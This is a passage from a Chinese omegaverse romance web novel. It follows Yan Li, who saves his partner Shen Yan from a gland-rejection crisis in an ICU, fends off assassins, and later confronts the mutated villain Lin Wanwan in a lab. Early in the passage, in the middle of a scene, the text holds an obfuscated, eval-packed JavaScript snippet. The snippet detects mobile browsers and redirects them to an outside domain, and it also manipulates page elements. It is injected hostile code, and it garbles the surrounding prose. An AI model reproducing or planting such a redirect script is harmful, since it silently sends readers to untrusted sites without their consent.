心电监护仪的蜂鸣声尖锐得像一把锯子,在ICU里反复切割着紧绷的神经。沈砚躺在病床上,皮肤呈现出一种不祥的灰白色,仿佛生命力正从他体内飞速流逝。各种管线缠绕着他,其中最粗的两根连接着血液透析机和体外循环装置——它们正徒劳地试图过滤掉他血液里疯狂冲突的信息素。 颜黎站在隔离窗外,指关节因为过度用力攥紧而泛白。玻璃倒映出他布满血丝的双眼,和手臂上尚未完全消退的蓝色毒素纹路。仅仅过去十二小时,沈砚的情况就急转直下。他体内那20%属于颜黎的Alpha腺体组织,正与他原本的Omega腺体展开一场毁灭性的内战。 “排斥指数突破临界值了!”主治医师的声音透过通讯器传来,带着绝望的颤抖,“沈医生自身的免疫系统开始攻击全身器官,尤其是…心脏。” 屏幕上,代表心脏功能的曲线疯狂地上下窜动,像垂死挣扎的困兽。颜黎的视线死死盯住沈砚裸露的后颈——那个带着颜氏家族纹章的腺体区域,此刻正诡异地高频搏动着,皮肤下透出暗红色的光,仿佛有什么东西要破体而出。 “信息素浓度还在升高!”护士惊呼,“Alpha和Omega信息素在血液里形成结晶了!” 颜黎一拳砸在防弹玻璃上,沉闷的响声让整个走廊瞬间死寂。他能感觉到,隔着厚厚的屏障,沈砚体内那属于他的信息素正在发出无声的哀鸣,它们在呼唤原主,也在毁灭宿主。 “常规手段无效。”颜黎的声音沙哑得如同砂纸摩擦,“启动B方案。” 医疗团队面面相觑,脸上写满惊骇。主任医师艰难地开口:“颜总,信息素直接灌注的风险太大!这相当于把您的腺体和他的人工循环系统强行连接,稍有不慎,你们两个的神经系统都会…” “我说,启动。”颜黎解开西装扣子,扯松领带,动作带着一种破釜沉舟的决绝,“准备穿刺导管和生物电耦合器。现在,立刻!” 没人敢再反驳。当颜黎换上无菌服走进ICU时,浓烈的威士忌信息素如同实质的浪潮,瞬间压过了弥漫在空气中的、混乱而痛苦的白茶与咖啡的气息。他走到沈砚床边,看着对方毫无生气的脸,指尖轻轻拂过他冰冷的额头。 “三年前你把我从鬼门关拽回来,”颜黎低声说,声音只有两人能听见,“这次轮到我了。” 冰冷的穿刺针刺入颜黎的后颈腺体中心,另一根更粗的导管则连接上沈砚颈侧的静脉通路。生物电耦合器发出低沉的嗡鸣,指示灯由绿转红。剧痛瞬间席卷了颜黎的神经,仿佛有无数根烧红的钢针顺着导管刺入他的大脑,又顺着血液流向沈砚。他闷哼一声,单膝跪倒在床边,额头抵着冰冷的金属床沿,汗水瞬间浸透了无菌服。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353478|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屏幕上,沈砚原本狂乱的心电图奇迹般地平稳了一瞬。他灰败的指尖几不可察地动了一下。 “有反应了!”医生难以置信地低呼。 颜黎咬牙支撑着,源源不断地将自己的信息素和生物电脉冲强行灌入沈砚的循环系统。这不再是安抚,而是一种粗暴的接管和覆盖,用自己的生命力去镇压、去融合那场肆虐的内战。汗水模糊了他的视线,剧痛啃噬着他的理智,唯有掌心下沈砚微弱的心跳是他唯一的锚点。 **意识深处 - 车祸现场循环** 冰冷的雨水混合着汽油味灌入鼻腔。沈砚又一次站在扭曲变形的车门外,看着颜黎被卡在驾驶座上,鲜血从额角蜿蜒而下。世界被刺耳的金属摩擦声和雨声填满,但这一次,颜黎的口型无比清晰: “别管我!走!” 一股巨大的力量猛地将沈砚推开,他向后摔倒在泥泞里。卡车刺眼的灯光再次逼近,颜黎决绝的眼神如同烙印… “不对!”一个低沉而熟悉的声音穿透雨幕,带着不容置疑的力量,“不是‘别管我’!” 沈砚猛地回头。雨幕中,颜黎的身影有些模糊,但那双琥珀色的眼睛却亮得惊人。他一步步走来,无视了逼近的卡车,无视了燃烧的汽油。 “看着我,沈砚!”颜黎的声音带着信息素的共振,直接撼动他的意识核心,“那天我说的是——‘活下去’!” 记忆的碎片骤然重组!驾驶座上,满身是血的颜黎确实在嘶吼,嘴唇开合间吐出的音节并非绝望的告别,而是—— “活…下去!沈砚!活下去——!” 轰!!! 想象中的撞击没有到来。沈砚的意识被一股巨大的力量拽离了那个循环的雨夜。 ICU - 现实的战场 “排斥指数下降了30%!腺体搏动频率在减缓!”医生的声音充满狂喜。 颜黎却感觉自己的意识在快速流失。信息素灌注的负担远超预期,他的视野边缘开始发黑,耦合器的警报声也变得遥远。沈砚的情况虽然暂时稳住,但远未脱离危险。更糟糕的是,透析机突然发出尖锐的故障警报——血液中的信息素结晶堵塞了关键滤网! “换备用机!快!”主任医师嘶吼。 就在这时,病房门被暴力撞开!几个穿着安保制服却眼神凶狠的男人持枪冲入。 “处理掉麻烦!”为首的人枪口直指病床上的沈砚,“颜董的命令!” 残余的安保人员试图阻拦,瞬间被击倒。医疗团队尖叫着蹲下。颜黎猛地抬头,眼中爆发出骇人的凶光。他正处在与沈砚生命连接最脆弱的时刻,根本无法移动! 千钧一发之际,隔离窗角落那株被移入ICU、同样奄奄一息的咖啡苗,叶片突然无风自动!颜黎手臂伤口渗出的、滴落在花盆泥土里的血珠,此刻竟被那枯黄的根茎迅速吸收。紧接着,几片焦黄的叶尖以肉眼可见的速度泛起一丝微弱的绿意,一股极其微弱却异常清晰的、混合着威士忌、白茶与新鲜咖啡豆的奇异香气,悄然弥漫开来! 这股香气钻入沈砚的鼻腔。昏迷中的他,睫毛剧烈地颤动起来。 冲进来的杀手也闻到了,动作有瞬间的迟滞。就在这生死一瞬的间隙! “找死!”一声暴喝从门口炸响!颜黎最信任的安保队长陈锋带着真正的精锐小队赶到,火力瞬间压制了叛徒。枪声、怒吼声、玻璃破碎声在ICU内爆开。 颜黎对这一切置若罔闻。他的全部心神都系在沈砚身上。他看见那股奇异的咖啡香气萦绕在沈砚鼻尖时,对方后颈那狂暴搏动的腺体,竟奇迹般地缓和下来,暗红色的光芒开始消退。 “继续灌注!加大耦合器功率!”颜黎对着通讯器嘶吼,无视自己口鼻渗出的鲜血,将最后的力量压榨出来,通过导管疯狂涌向沈砚。 陈锋迅速控制住局面,叛徒被制服拖走。ICU内一片狼藉,但奇迹在寂静中发生。 心电监护仪上,那代表沈砚生命的心跳曲线,在经历一阵微弱的挣扎后,终于顽强地、稳定地跳动起来。排斥指数如退潮般迅速下降。 颜黎眼前一黑,再也支撑不住,身体软倒下去,意识陷入黑暗前的最后一刻,他感觉到一只冰冷的手,极其微弱地、颤抖地,反握住了他连接着导管的手。 数小时后 - 黎明 消毒水的味道里混着一丝若有若无的咖啡香。颜黎在VIP病房的沙发上醒来,左臂连接着营养液和解毒剂的点滴。陈锋肃立在一旁。 “老板,袭击者全数抓获,是颜董…前颜董的私人卫队。集团内部已肃清,董事会全票通过您代行董事长职权的决议。”陈锋低声汇报,“林氏药业因涉嫌非法腺体实验和信息素毒品制造,已被查封。” 颜黎的目光越过他,落在隔壁相连的ICU病房内。沈砚依然昏迷,但脸色已不再灰败,监护仪上的数字稳定在安全范围。窗台上,那株被移到沈砚床头的咖啡苗,在晨光中挺立着两片小小的、嫩绿的新叶。 “他怎么样?”颜黎的声音沙哑不堪。 “沈医生情况稳定了,腺体冲突奇迹般平息。医生说…是奇迹。”陈锋顿了顿,补充道,“还有,我们在林晚晚的加密设备里,发现了大量关于‘咖啡因衍生物对腺体记忆的定向干预’的研究数据。她长期给您使用含高浓度咖啡因衍生物的伪装剂,加速记忆混乱。” 颜黎的眼神彻底冷了下来。咖啡因…原来那看似巧合的咖啡苗,以及沈砚办公室里枯萎的植株,都成了敌人利用的工具,也阴差阳错地成了打破他们困境的钥匙。 他拔掉手上的针头,踉跄着走向沈砚的病房。无视医疗团队的劝阻,他坐到床边,轻轻握住了沈砚微凉的手。无名指上,那枚重新戴上的铂金素圈闪着微光。 “都结束了。”颜黎俯身,额头抵着沈砚的额头,温热的呼吸拂过对方苍白的唇,“这次,换我守着你。” 窗外,第一缕金色的阳光刺破云层,照亮了那株咖啡苗上晶莹的露珠,也照亮了病床上沈砚微微颤动的睫毛。漫长的黑夜终于过去,而属于他们的、带着苦涩与回甘的故事,才刚刚重新开始。 消毒水的气味刺入鼻腔时,沈砚的第一反应是去摸后颈的腺体。指尖触到的不是皮肤,而是厚厚的医用敷料,下面传来阵阵钝痛,像是有人在他颈后埋了一块烧红的炭。 "别碰。" 一只温暖的大手握住他的手腕,力道刚好介于制止与呵护之间。沈砚艰难地聚焦视线,看到颜黎憔悴的脸。Alpha眼下挂着浓重的青黑,下巴冒出胡茬,昂贵的丝质衬衫皱得像抹布,袖口还沾着可疑的血迹。 "水..."沈砚的嗓子干得像是被砂纸磨过。 颜黎立刻托起他的后颈,将吸管凑到他唇边。温水滋润喉管的瞬间,沈砚注意到病房窗台上那株咖啡苗——它竟然抽出了第四片嫩叶,在阳光下泛着半透明的绿。 "三天。"颜黎仿佛读懂了她的疑问,声音沙哑,"你昏迷了三天。" 记忆碎片逐渐拼合:林晚晚的毒针、颜黎的记忆闪回、腺体排斥反应的剧痛...沈砚突然挣扎着要起身,却被一阵眩晕击倒。颜黎的手臂稳稳接住他,威士忌信息素悄然释放,带着安抚的意味包裹上来。 "林晚晚在特殊监狱,父亲被董事会除名。"颜黎的指尖轻轻梳理他汗湿的鬓发,"你的腺体..."他顿了顿,"暂时稳定了。" 沈砚敏锐地捕捉到那个修饰词。他抬手按住自己的后颈,感受到皮肤下不正常的搏动——移植的Alpha腺体组织与自身Omega系统仍在微妙对抗,只是达到了某种危险的平衡。 "我的医疗包..."沈砚看向床头柜,那里空空如也。 颜黎从西装内袋掏出一个熟悉的皮质病例本:"在这。"他翻开扉页,露出里面密密麻麻的记录,"过去72小时的生命体征,每半小时一次。" 沈砚怔住了。那些数据精确到小数点后两位,笔迹却从最初的工整逐渐变得潦草颤抖,最后几页甚至带着可疑的晕染痕迹——像是有人边记录边掉泪。 "你..." "陈锋帮我按着你做的格式抄的。"颜黎迅速合上本子,耳尖却微微发红,"饿不饿?厨房准备了燕麦粥和..." 病房门突然被推开。一个穿白大褂的陌生医生带着护士团队进来查房,看到沈砚醒了明显一愣:"沈医生!您终于..." 他的话戛然而止。颜黎不知何时已经挡在病床前,信息素瞬间变得极具攻击性,连监护仪上的数字都开始剧烈波动。 "出去。"Alpha的声音低沉如雷,"他的主治医师是我。" 医护人员仓皇退出的脚步声远去后,沈砚忍不住皱眉:"你不能这样对待..." "他们上周还给你注射过含咖啡因衍生物的镇定剂。"颜黎从床头柜抽屉抽出一份检测报告,"林氏药业特供,专门用来加强记忆干扰效果。" 沈砚接过文件,指尖微微发抖。报告显示,过去三年他在颜氏医院接受的所有"常规治疗"中,有17%含有不同浓度的神经干扰成分。最密集的用药期,恰好是颜黎车祸苏醒后那三个月——当时医疗团队坚称他需要"情绪稳定剂"来面对Alpha失忆的痛苦。 "所以我的记忆偏差..."沈砚喃喃道。 "不是偏差,是定向擦除。"颜黎调出平板上一段监控视频,画面里林晚晚正将某种药剂偷偷混入他的输液袋,"他们需要确保,即使我恢复记忆,你也不会相信。" 阳光突然变得刺眼。沈砚眯起眼,看到窗台上的咖啡苗在微风里轻轻摇曳。三年前颜黎偷它时说"这玩意比玫瑰耐活",而现在这株植物竟成了他们爱情最顽强的见证。 "腺体排斥还会发作吗?"沈砚直接问出最致命的问题。 颜黎的喉结滚动了一下。他拿出另一份扫描报告,上面显示沈砚后颈的腺体区域呈现出诡异的双色影像——代表Alpha组织的金色与Omega的银色如两军对垒,中间只有一道极细的灰色地带维持着平衡。 "暂时不会。"颜黎的指尖轻轻描摹着影像轮廓,"但长期解决方案只有两种..." "彻底摘除或终身标记。"沈砚平静地接话,"我知道。" 空气突然凝固。颜黎的瞳孔微微扩大,像是没想到他会如此直白。阳光穿过两人之间的空隙,在地板上投下纠缠的影子。 "我选第三种。"沈砚突然说。 颜黎皱眉:"没有第三种选项。" "有。"沈砚指向窗台的咖啡苗,"它为什么能活下来?" 这个问题看似无关,却让颜黎陷入沉思。Alpha起身走向窗台,手指轻轻拨弄那片新生的嫩叶。三天前这株植物还奄奄一息,直到混着两人血液的灌溉让它奇迹般复苏... "共生。"颜黎猛地转身,"你是说让两种腺体组织形成共生关系?" 沈砚点头时牵动了后颈的伤口,忍不住轻嘶一声。颜黎瞬间回到床边,手掌贴上他的脸颊,威士忌信息素不自觉地溢出,与病房里残留的咖啡花香混合成一种奇妙的安抚剂。 "需要更多实验数据。"沈砚强撑着专业口吻,却控制不住地向Alpha的掌心靠去,"尤其是关于咖啡因衍生物对腺体记忆的影响..." 他的话没能说完。颜黎突然俯身,额头抵住他的额头,呼吸灼热:"数据可以等。"Alpha的声音沙哑得不成样子,"现在,你需要休息。" 这个姿势太过亲密,沈砚能数清颜黎睫毛的颤动频率。恍惚间他想起车祸前那个雨夜,Alpha也是这样抵着他的额头说"这次出差回来我们就去挪威看极光"。后来极光没看成,他们却差点生死两隔。 "你记得..."沈砚轻声问,"挪威的事吗?" 颜黎的身体明显僵了一下。当他抬起头时,眼中闪烁着复杂的光芒:"只有片段。雪...绿色的光...你戴着可笑的麋鹿耳罩。"他的拇指无意识地摩挲沈砚的无名指根,"但我知道我们约定过。" 这不是完整的记忆,却足够真实。沈砚突然感到一阵疲惫袭来,眼皮沉重得像是灌了铅。朦胧中他感觉颜黎小心地调整了病床角度,又为他掖好被角。 "睡吧。"Alpha的声音渐渐远去,"我就在这。" 沈砚陷入沉睡前的最后一个画面,是颜黎站在窗台前,对着那株咖啡苗低声说了什么,晨光为他镀上一层毛茸茸的金边。 沈砚再次醒来时,窗外已是暮色四合。病房里静悄悄的,只有心电监护仪发出规律的"滴滴"声。他下意识去摸身边的位置——空的,床单冰凉。 一阵没来由的恐慌突然攫住心脏。沈砚挣扎着坐起身,后颈的伤口传来尖锐的疼痛,但他顾不上这些。颜黎呢?那个说了"我就在这"的Alpha去哪了? "颜黎?"他的声音在寂静中显得异常脆弱。 没有回应。沈砚的手指摸到呼叫铃,却在按下前听到走廊传来隐约的争执声。其中那个低沉愤怒的声线,无疑是颜黎。 "...实验室必须彻底清查!所有关于腺体克隆的资料...不,我亲自去..." 沈砚掀开被子,双脚触到冰凉的地板时一阵眩晕。他扶着墙壁慢慢挪向声源,每走一步都像踩在棉花上。走廊拐角处,颜黎背对着他正在通话,西装外套随意搭在肩上,露出后颈上还未完全愈合的穿刺伤口——信息素灌注留下的痕迹。 "尤其是2019年12月之后的记录..."颜黎的声音突然压低,"对,就是我和沈砚登记那段时间。查清楚父亲到底克隆了多少..." 沈砚的脚绊到了输液架,金属倒地声在走廊回荡。颜黎猛地转身,电话都来不及挂就冲过来接住他摇晃的身体。 "你干什么!"Alpha的怒吼里带着明显的恐慌,"伤口裂开了怎么办?" 沈砚抓住颜黎的衣领,鼻尖凑近他颈侧的腺体,深深吸气。威士忌混着淡淡血腥味的香气涌入肺部,安抚了那些没来由的焦虑。直到这时他才意识到自己在做什么——这是典型的Omega应激反应,标记后的本能依赖。 "我...闻不到你的味道..."沈砚尴尬地松开手,"以为你走了。" 颜黎的表情瞬间软化。他直接将沈砚打横抱起,信息素如温暖的毯子般包裹上来:"只是去走廊接个电话。"Alpha的声音罕见地温柔,"陈锋在颜父的私人实验室发现了些东西。" 回到病床上,颜黎从公文包里取出一个加密硬盘:"腺体克隆计划。父亲不仅复制了我的腺体组织..."他调出一组数据图表,"还有你的。" 沈砚盯着屏幕上那些熟悉的参数,胃部一阵绞痛。那是他先天性腺体萎缩症的完整病历,包括青春期所有激素水平波动记录。最可怕的是,实验日志显示,颜父早在他们交往初期就开始秘密采集沈砚的腺体样本。 "所以我们的相遇..." "不是巧合。"颜黎的指尖划过一组日期,"父亲故意安排你来做我的腺体修复课助教。他需要观察高匹配度AO的互动模式。" 窗外的暮色完全笼罩了城市。沈砚看着玻璃上两人的倒影——一个病容憔悴,一个疲惫不堪,却比三年前那对光鲜亮丽的情侣更加真实。咖啡苗在夜风中轻轻摇曳,第四片叶子已经完全舒展。 "共生实验..."沈砚突然意识到什么,"他们是不是早就..." 颜黎沉重地点头:"父亲想制造同时拥有顶级Alpha和Omega腺体的''完美容器''。"他的手覆上沈砚的后颈,"我们无意中完成了他们没做到的。" 这个认知让沈砚后颈的伤疤隐隐作痛。他曾以为自己和颜黎只是权力游戏中的棋子,却原来从一开始就是被设计的实验品。更讽刺的是,那些人为干预的记忆擦除和腺体排斥,反而让他们找到了连策划者都未曾预料的全新可能。 "现在怎么办?"沈砚轻声问。 颜黎的拇指抚过他无名指上的婚戒,金属在夜色中泛着微光:"首先,你好好养伤。"他调暗病房灯光,"然后..." 他的后半句话被突然响起的电话铃声打断。陈锋的号码在屏幕上闪烁,颜黎皱眉接听,脸色逐渐阴沉。 "怎么了?"通话结束后沈砚问道。 颜黎的犬齿无意识地磨过下唇:"林晚晚逃了。" 凌晨三点的医院走廊空荡得像条隧道。沈砚赤脚踩在冰凉的地砖上,后颈腺体突突跳动,像是有什么东西要破体而出。他本不该离开病房——医生明确嘱咐过需要绝对静养——但那股灼烧感越来越强烈,仿佛有人在他颈椎里埋了一块烙铁。 洗手间的镜子映出一张陌生的脸。沈砚盯着自己泛红的眼白和扩张的瞳孔,手指颤抖着撕开后颈的敷料。伤口已经愈合大半,但腺体区域的皮肤呈现出诡异的暗红色,表面浮现出细小的、蛛网般的金色纹路——那是Alpha腺体活性化的典型特征。 "该死..."沈砚拧开冷水龙头,将后颈凑到水流下。冰冷暂时缓解了灼烧感,但下一秒,剧烈的刺痛顺着脊椎窜上大脑。他闷哼一声跪倒在地,眼前炸开一片白光。 一股陌生的气息突然从腺体爆发出来——不是Omega的白茶香,而是某种带着松木与金属味道的、极具攻击性的Alpha信息素! 洗手间的玻璃在声波共振下嗡嗡作响。沈砚惊恐地发现自己犬齿伸长,指甲变得尖锐,肌肉纤维在皮下不自然地蠕动——这些都是Alpha易感期的生理特征,却出现在他这个Omega身上。 走廊传来急促的脚步声。 "沈砚!"颜黎的声音由远及近,威士忌信息素如浪潮般涌来。 沈砚想回应,喉咙却只发出低沉的咆哮。更糟的是,当颜黎的信息素靠近时,他体内那股陌生的Alpha气息突然变得极具攻击性,像头被侵犯领地的野兽般凶猛反扑。 洗手间的门被猛地推开。颜黎站在门口,瞳孔因震惊而扩大——他闻到了另一个Alpha的气息,而这气息竟来自沈砚! "别过来..."沈砚从齿缝里挤出警告,指甲深深抠入大理石台面。两种Alpha信息素在狭小空间里激烈碰撞,空气中几乎能看到无形的火花。 颜黎却向前一步,完全释放出自己的威士忌信息素。顶级Alpha的压迫感足以让普通Alpha跪地求饶,但沈砚只是绷紧身体,眼中闪过野性的凶光。 "沈砚,看着我。"颜黎缓慢蹲下,与他平视,"你体内有我的腺体组织,记得吗?那不是外来物,是你的一部分。" 某种原始的本能让沈砚想扑上去撕咬,但更深处的意识认出了眼前的人。他剧烈喘息着,看到颜黎颈侧跳动的脉搏——那么近,那么脆弱,一个真正的Alpha绝不会在另一个Alpha面前暴露这样的弱点。 "标记我。"颜黎突然说,手指扯开自己衬衫领口,露出腺体,"用你的信息素。" 这个荒谬的要求像盆冰水浇在沈砚头上。Alpha之间不存在标记关系,这是生物学铁律。但当他看向颜黎的腺体时,一种诡异的渴望突然涌上心头——他想咬下去,想把自己的气息注入那个位置,想... "不!"沈砚猛地推开颜黎,后背撞上墙壁。冷汗浸透了病号服,后颈的灼烧感转为剧烈的刺痛。"这不对...我是Omega..." "你是沈砚。"颜黎抓住他颤抖的手按在自己胸口,"只是沈砚。" 掌心下传来稳健的心跳。沈砚看着两人交叠的手,无名指上的婚戒在灯光下泛着冷光。那股暴戾的Alpha信息素奇迹般开始消退,但腺体区域的异变并未停止——金色纹路仍在蔓延,现在已经爬到了锁骨位置。 "我们需要回病房。"颜黎的手臂穿过他膝弯,轻松将他抱起,"陈锋刚刚发来林晚越的追踪数据。" 沈砚任由颜黎抱着,脸埋在Alpha颈窝深深吸气。威士忌的味道安抚着他躁动的神经,但腺体深处的不适感仍在隐隐作痛。走廊的灯光在眼前晃动,他恍惚间看到窗台上的咖啡苗在无风的夜里剧烈摇曳,叶片诡异地指向他们移动的方向。 病房里,医疗团队已经严阵以待。看到沈砚后颈的金色纹路时,主任医师倒抽一口冷气:"Alpha腺体活性化!这不可能..." "少废话。"颜黎将沈砚小心放在床上,"控制方案。" 医生们面面相觑。最终一位年轻的研究员鼓起勇气:"理论上...可以用Omega信息素诱导剂暂时抑制Alpha表征..." "不行!"颜黎和沈砚同时出声。 沈砚惊讶地看向颜黎,后者下颌线条绷得死紧:"他的身体承受不了更多药物干预。"Alpha转向医疗团队,"都出去。给我五分钟。" 当病房只剩他们两人时,颜黎从西装内袋取出一个微型投影仪。蓝光闪过,林晚晚的逃亡路线图悬浮在病床上方。十几个红点集中在城北一个废弃工业区,但有个孤立的蓝点正朝海岸线移动。 "她分兵了。"沈砚立刻看出端倪,专业本能暂时压倒了身体不适,"主力吸引追捕,真正重要的东西走海路。" 颜黎点头,放大那个蓝点:"陈锋拦截到一组加密通讯。林晚晚带的不是我的腺体数据..."他的声音变得危险,"是你的克隆样本。" 沈砚的后颈突然一阵剧痛,像是被这个信息直接刺激。他抓住颜黎的手臂:"这说不通...颜父为什么要克隆一个Omega腺体?除非..."一个可怕的猜测浮现在脑海,"除非他们需要的不是单一腺体,而是..." "配对。"颜黎的瞳孔收缩,"我们的腺体在共生状态下产生的变异组织。" 投影突然闪烁起来,陈锋的紧急通讯强行切入:"老板!拦截小队遭到伏击!对方有..."画面剧烈晃动,枪声和惨叫传来,"...有腺体武器!" 通讯中断前的最后一帧画面让沈砚浑身发冷——一个穿着防护服的男子手持某种发射器,被击中的安保人员立刻蜷缩在地,皮肤上浮现出与沈砚如出一辙的金色纹路。 "是诱导剂!"沈砚挣扎着要下床,"他们能强制激活移植的腺体组织!" 颜黎一把按住他,同时按下床头的紧急呼叫铃:"全体戒备!医院可能成为下一个目标!"他转向沈砚,眼神前所未有地严肃,"听着,无论发生什么,不要释放你的Alpha信息素。那正是他们想要的触发条件。" 医疗团队冲进病房,为首的医生拿着镇静剂。沈砚本能地后退,后颈腺体再次发热——这次不是Alpha信息素,而是某种更原始的防御反应。 "别用药物。"颜黎挡在沈砚前面,"准备物理降温,把腺体区域的温度控制在36度以下。" 医生还想争辩,走廊突然传来爆炸声!整层楼剧烈震动,天花板簌簌落下灰尘。警报声刺破夜空,伴随着杂乱的脚步声和尖叫。 "带他走!"颜黎将一个电子密匙塞进主任医师手里,"顶楼停机坪有直升机!" 沈砚抓住颜黎的手腕:"你呢?" 颜黎的拇指抚过他的婚戒,眼神决绝:"他们想要的是配对的腺体样本。"Alpha扯开领口,露出后颈上已经结痂的穿刺伤口,"分开行动最安全。" 医护人员推来轮椅,沈砚却死死抓着床栏不放。后颈的灼烧感越来越强,金色纹路已经蔓延到胸口。窗外,那株咖啡苗突然疯狂生长,藤蔓以肉眼可见的速度爬满窗框! "颜黎..."沈砚的声音变得嘶哑,"不对劲...那株植物..." 话音未落,咖啡苗的叶片剧烈摩擦起来,发出诡异的沙沙声。一股奇特的香气弥漫开来——既不是Alpha也不是Omega的信息素,而是某种混合了两者特征的、全新的气息。 沈砚的腺体突然平静下来。金色纹路停止扩散,灼烧感转为温和的暖意。更神奇的是,窗外的藤蔓精准地指向东南方向——正是那个孤立的蓝点移动的方位! "它在指引我们..."沈砚难以置信地低语。 颜黎的反应比任何人都快。他一把扯下几片咖啡叶塞进密封袋扔给研究员:"立刻分析成分!"然后按下耳麦:"陈锋,调整追踪方向,东南海岸线!" 医疗团队趁机将沈砚按在轮椅上,迅速推向紧急通道。沈砚回头望去,只见颜黎站在窗前,背影挺拔如刀锋,而那株疯长的咖啡苗正将藤蔓缠绕上他的手腕,如同某种古老的誓约。 顶楼的风冷得像刀割。沈砚被推上直升机时,后颈腺体突然再次剧痛!这次疼痛来得如此猛烈,他直接弯下腰干呕起来。医护人员手忙脚乱地检查监护仪,却发现所有指标都乱成一团——他的身体正在经历某种前所未有的腺体异变。 "必须立刻降温!"主任医师大喊,"准备冰敷!" 当冰袋贴上后颈时,沈砚发出一声不似人类的嚎叫。他的瞳孔完全变成金色,指甲暴长,肌肉轮廓在病号服下诡异地蠕动。最可怕的是,那股带着松木与金属味的Alpha信息素再次爆发,直接将最近的医护人员掀翻在地! "抑制剂!快!" 针头刺入皮肤的瞬间,沈砚看到舷窗外闪过一道蓝光——某种细长的金属物体正以惊人的速度逼近直升机! "导弹!"飞行员撕心裂肺地警告。 一切仿佛慢动作。沈砚看着那枚微型导弹旋转着飞来,尾焰在夜空中划出死亡弧线。他的身体先于意识行动,猛地扑向舱门控制杆。直升机剧烈倾斜,导弹擦着尾翼掠过,在远处夜空炸出一团火球。 但过载的动作让抑制剂在血管内迅速扩散。沈砚摔回座椅,视野开始模糊。最后的意识里,他听到医护人员惊恐的议论: "天啊...他的腺体扫描显示第三组基因标记!" "这不可能...除非是''双性腺体共生计划''的..." "嘘!别说了!快联系颜总!" 黑暗吞噬了沈砚的意识。恍惚中,他感觉自己漂浮在无边的海洋里,而海底深处,有什么巨大的、沉睡多年的东西正在苏醒... 45. 第 63 章 废弃的植物研究所弥漫着腐殖质与化学药剂混合的刺鼻气味。颜黎踹开最后一道安全门,手枪瞄准黑暗中的每一个角落。陈锋发来的坐标精确到小数点后六位——这座被藤蔓吞噬的玻璃建筑,正是林晚晚逃亡的终点。 "热源显示在地下三层。"耳麦里传来陈锋的声音,"但结构扫描显示那里有大型生物反应...老板,小心点。" 颜黎的靴子碾过碎玻璃,威士忌信息素如实质般在通道中铺开。墙壁上爬满某种变异藤本植物,叶片形状异常熟悉——与沈砚病房窗台上那株咖啡苗一模一样,只是放大了数十倍。 地下二层的实验室门虚掩着。颜黎侧身闪入,枪口随着视线快速扫描。突然,他的呼吸停滞了—— 墙上投影屏亮着,显示一段年代久远的监控录像。画面中,两个小男孩被固定在医疗椅上,后颈贴着电极片。年幼的那个正拼命挣扎,赫然是童年颜黎! "放开他!"小颜黎声嘶力竭地喊,"不许碰沈砚!" 颜黎如遭雷击。镜头转向另一个男孩——苍白的脸上挂着泪痕,后颈腺体区域呈现不自然的凹陷。那是患有先天性腺体萎缩症的...童年沈砚。 "这是1999年12月24日,双性腺体共生计划第7次实验。"林晚晚的声音突然从阴影中传来,"真讽刺,二十年后同一天,你们居然自己跑去登记结婚。" 颜黎的枪口瞬间转向声源,但林晚晚的身影出现在所有监控屏上。她不再是那个精致名媛,而是一个全身爬满青色血管的怪物,眼睛泛着不自然的蓝光。 "你父亲从没放弃制造完美腺体的梦想。"无数个林晚晚同时开口,"一个能同时拥有顶级Alpha和Omega特质的...神。" 投影切换,显示出一组腺体扫描对比图。左边是童年颜黎的,右边是沈砚的——两个腺体在某种特殊频率下竟能产生共振。 "他选中了你们这对青梅竹马。"林晚晚的声音带着扭曲的羡慕,"可惜实验失败了,小沈砚的免疫系统几乎崩溃。你们被强行分离,记忆也被药物干预。" 颜黎的太阳穴突突跳动。碎片般的记忆汹涌而来——福利院的秋千、注射后的高烧、总跟在他身后的苍白男孩...原来那不是梦,而是被刻意抹去的真实。 "沈砚在哪?"颜黎的声音低沉如雷。 林晚晚突然从通风管扑下!她的指甲暴长如刀,直取颜黎咽喉。颜黎侧身闪避,子弹穿透她肩膀,却只带出一丝蓝色黏液。 "他正在变成我们想要的样子!"林晚晚的声音开始失真,"你的腺体在他体内生长了三年...现在只差最后一步!" 藤蔓突然活物般缠上颜黎的手腕。他挣断那些植物,追着林晚晚冲下楼梯。地下三层是个巨大的温室,中央培养舱里漂浮着数十个腺体样本——全部标记着沈砚的名字和日期。 最远处的操作台上,沈砚被特殊束缚带固定着,后颈腺体区域插满了电极。他的皮肤上金色与银色的纹路如同交战般闪烁,整个人在半昏迷中剧烈抽搐。 "沈砚!"颜黎的怒吼震得玻璃嗡嗡作响。 林晚晚拦在通道中央,注射器里的蓝色液体泛着诡异光芒:"知道咖啡苗为什么能缓解他的症状吗?"她狂笑着展示墙上的植物基因图谱,"那是用你们童年腺体样本培育的杂交种!它的信息素是唯一能稳定双腺体的...啊!" 颜黎的子弹精准击中她手中的注射器。蓝色液体飞溅到藤蔓上,植物瞬间暴长,将林晚晚半埋其中。颜黎趁机冲向操作台,威士忌信息素全开。 沈砚的状况比远处看起来更糟。他的瞳孔完全变成金色,左半身浮现Alpha特征,右半身却仍是Omega。两种信息素在他体内厮杀,监护仪上的生命体征乱成一团。 "醒醒..."颜黎撕开束缚带,将沈砚抱起,"我带你回家。" 沈砚的睫毛颤动,却无法聚焦视线:"颜...黎...?"他的声音时而低沉时而尖细,像是两个人在同时说话,"实...验室...跑..." 藤蔓突然从四面八方涌来!林晚晚挣脱束缚,皮肤表面浮现出鳞片状的硬甲。她吸收了那管血清,现在像个真正的怪物般四肢着地爬行。 "太晚了!"她的下颌骨不正常地扩张,声音带着多重回声,"他的腺体已经进入最后融合阶段!" 颜黎护着沈砚退到墙角,子弹对变异后的林晚晚毫无作用。千钧一发之际,头顶的玻璃穹顶突然爆裂!那株从医院带来的咖啡苗被直升机抛下,精准落在两人面前。 接触到沈砚的气息,咖啡苗以肉眼可见的速度疯长。藤蔓交织成网暂时阻挡林晚晚,花朵释放出浓郁的香气——正是那种能稳定沈砚腺体的特殊信息素。 